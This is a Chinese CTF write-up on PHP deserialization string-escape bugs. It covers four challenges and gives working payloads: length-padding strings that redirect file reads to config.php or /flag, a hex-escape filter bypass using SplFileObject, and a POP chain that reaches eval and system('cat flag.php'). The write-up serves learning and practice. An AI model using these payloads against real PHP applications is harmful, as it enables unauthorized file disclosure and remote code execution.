PHP反序列化字符串逃逸
提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前言
例如:最近日常刷题玩的时候,做到了PHP反序列化字符串逃逸类型的题目,想了想之前好像也有类似的题,好像还挺常见到的,一起拿出来,记录一下。
一、关于反序列化和序列化
- 之所以有反序列化和序列化这种东西,是因为当程序执行结束的时候,内存会进行销毁释放空间,序列化能够将要保存的数据转换成有一定格式的字符串,无论是保存起来还是传输起来都更加便捷,而反序列化就是将序列化的数据恢复成最原先的样子。
- 那么PHP在反序列化的时候,是以;作为分隔点,}作为结束标志的,根据长度来判断要读取多少个字符串,假如在程序执行时,能够使得反序列化字符串增加或者减少,然后通过恶意构造,就会使得数据发生变化,反序列化吞或者吐了一些数据,造成了漏洞。
二、[0ctf 2016]unserialize
- 进入题目
只有一个登录页面,没啥思路,直接扫了一波目录
访问www.zip能直接得到源码,同时通过register.php可以注册用户,update.php可以更新用户的信息,profile.php显示用户的信息,随便注册个用户,传点信息看看。
图片显示这里显然有点端倪,将数据base64后读取到了页面,应该这里是解题的入口点,由于透露了www.zip,所以可以直接看一波源代码。
- 关键源码
(1)profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
(2)class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
(3)update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
依照上面的思路直接看图片那一部分,可以看到通过file_put_content()函数获取了图片传入的数据,并且在传入前对phone、email、nickname进行了反序列化,那么能不能控制photo的内容呢,好像不能,继续看看其它的。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
此处发现对传入的string进行了filter函数的替换,能使字符串增加,那么能不能构造,使得photo的内容读取为某个文件,不再读取后面upload/路径内容,按照顺序,nickname似乎可以办到
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
这里对nickname进行了长度限制,先得绕过这里才能传入nickname,使用数组便可以,strlen函数处理不了数组
- payload
a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:10:“123@qq.com”;s:8:“nickname”;s:5:“aiwin”;s:5:“photo”;s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}
正常的传入的序列化字符串应当是这样的,这时我们要使photo为config.php读出flag,截断s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}的读取。
那么替换的值应当是";}s:5:“photo”;s:10:“config.php”;}这里一共34个字符,使用where替换成hacker时,会增加一个长度,因此34个where就会增加34个字符,使";}s:5:“photo”;s:10:“config.php”;}溢出,从而截断了upload后的读取,达到了读取config.php的效果。
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = array(
'phone'=>'01234567890',
'email'=>'123@qq.com',
'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
print_r(filter(serialize($profile)));
var_dump(unserialize(filter(serialize($profile))));
?>
输入如下:
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {
["phone"]=>
string(11) "01234567890"
["email"]=>
string(10) "123@qq.com"
["nickname"]=>
array(1) {
[0]=>
string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
}
["photo"]=>
string(10) "config.php"
}
where变成hacker之后,增加了一个字符,由于原先确定的是204个字符,where变成hacker后刚好占了204个字符,所以导致后面34个字符即s:5:“photo”;s:10:“config.php”;}";}溢出,因为以}为尾,所以认为反序列化结束,后面的upload的内容自然就被丢弃。
二、prize_p5[NSSCTF]
- 进入题目直接给了源码
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
这题有两个解,作者预期解应该是通过反序列化的逃逸进行。
第一种解在于catalogue类:通过此类的销毁函数中利用原生类的读取flag。
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "SplFileObject";
$this->data = "flag";
}
}
$a=new catalogue();
echo serialize($a)
虽然传入的cata进行了object的过滤,但是可以使用\十六进制字符绕过
O:9:“catalogue”:2:{s:5:“class”;S:13:“SplFile\4fbject”;s:4:“data”;s:5:“/flag”;}
这里S表示可以十六进制,\x4f代笔十进制79,ASCII对应的就是O
第二种反序列化解:
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
在反序列化时,调用了abscond()对字符串进行替换,将NSS,CTF,OTL_QAQ,hello都替换成hacker,代码最后通过file_get_contents()获取email的数据并对email过滤了flag,因此这里可以通过字符串的逃逸影响email的内容,进而绕过flag,获取flag的值。由于这里phone必须是个数组,所以对name的值下手比较好。
首先是增加值:
对name构造,就需要让phone和email的值都溢出来,即字符串
“;s:5:“phone”;a:1:{i:0;i:1;}s:5:“email”;s:5:”/flag";}溢出,一共53个字符,NSS替换成hacker增加3个字符,所以17个NSS+2个hello刚好是53个字符。
<?php
class escape{
public $name = 'NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
public $phone = '1';
public $email = '1';
}
function abscond($string){
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
var_dump(unserialize($c));
使值缩小也可以解
<?php
class escape{
public $name = 'OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ';
public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
public $email = '1';
}
function abscond($string){
return str_replace('OTL_QAQ', 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
echo $c;
echo PHP_EOL;
var_dump(unserialize($c));
相当于利用21个OTL_QAQ将长度为21的";s:5:“phone”;s:54:"A"给减少了。
三、[UUCTF 2022 新生赛]ezpop
源码:
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
传入data数据,用data数据初始化一个UUCTF类,然后将hacker替换成loveuu后进行反序列化,可以看到youwant类可以进行命令执行,所以整条Pop链:youwant_rce()->ouput_toString()->nothing_destruct()->UUCTF_wakeup(),入口为UUCTF的__wakeup函数,要将basedata的数据替换成Pop链的base64编码才能触发Pop链,现在可以控制的只有构造函数即name的数据。
正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
现在也就是说要把 ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去,首先构造Pop链。
<?php
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd="system('cat flag.php');";
}
$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
构造出了basedata,整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}
";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
“;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符,每有一个hacker替换,就会多吃一个字符,所以236个hacker刚好吃完,”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到,完成了逃逸。
原本1652要吃到19";s:2:“ob”;N;},但是替换成loveuu!后,就只能吃完hacker,因此后面构造的basedata逃逸出来了。
完整的payload:
<?php
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd="system('cat flag.php');";
}
$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
echo strlen($basedata);
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
#O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
?>
四、[安洵杯 2019]easy_serialize_php
源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //d0g3_f1ag.php
}else if($function == 'show_image'){
// var_dump($serialize_info);
$userinfo = unserialize($serialize_info);
// echo PHP_EOL;
// var_dump($userinfo);
// echo PHP_EOL;
// echo base64_decode($userinfo['img']);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先从phpinfo里面可以得到flag位于d0g3_f1ag.php,因此目标明确,要通过file_get_content获取flag的值,所以要将userinfo[‘img’]的值变为d0g3_f1ag.php的base64编码,但是这里序列化的值是默认为guest_img.png的base64编码,所以需要逃逸。其次就是extract()覆盖变量,可以通过直接传入_SESSION[name]直接覆盖掉_SESSION[“user”]等值。
那假如我们传自己定义的img的值看看:
;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
好像有反序列化逃逸的意思了,但是这里反序列化并不能成功,因为反序列化的字符不对,
所以可以试试
_SESSION[phpflag]=;s:3:“123”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
这样序列化后的值为
“a:2:{s:7:”“;s:50:”;s:3:“123”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}“;s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}”
php和flag被替换为空,s:50被吃进去了,导致后面成为了对象逃逸了出去,造成了键逃逸,多余的";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;就被截断了。